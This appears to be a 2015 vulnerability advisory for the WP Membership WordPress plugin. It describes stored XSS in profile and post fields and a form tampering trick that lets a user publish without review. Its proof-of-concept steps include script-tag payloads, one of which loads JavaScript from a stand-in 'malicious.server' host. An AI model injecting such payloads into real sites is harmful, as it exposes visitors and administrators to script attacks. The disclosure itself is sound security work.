WP Membership [Persistent XSS]

WordPress plugin WP Membership suffers for multiple vulnerabilities.

Stored XSS

All input fields from registered users aren’t properly escaped. This could lead to an XSS attack that could possibly affect all visitors of the website, including administrators.

Proof of Concept

  1. Login as regular user
  2. Update any field of your profile appending at the end 
    <script>alert('XSS');</script>

    or

    <script src="http://malicious.server/my_malicious_script.js"/>

Unauthorized post publish and stored XSS

Registered users can publish a post without administrator confirmation. Normally all posts submitted by users registered with WP Membership plugin are stored with the status pending. A malicious user though can publish his post by crafting the form is used for submission.

Proof of Concept

  1. Login as regular user whom belongs to a group that can submit new posts
  2. Visit the New Post section at your profile
  3. Change field post_status
<select id="post_status" class="form-control" name="post_status">
    <option selected="selected" value="publish">Pending Review</option>
    <option value="draft">Draft</option>
</select>

The post gets immediately published after you submit the form and is visible to all visitors of the website.

In addition a stored XSS attack can be performed due to insufficient escaping of the post content input.

Workaround

Prevent users from submitting new posts through the relative option in plugin’s settings

WordPress Plugins Persistent XSS XSS
INFO
TIMELINE
  • 2015-05-19:
    Discovered
  • 2015-05-19:
    Vendor notified about the issue
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX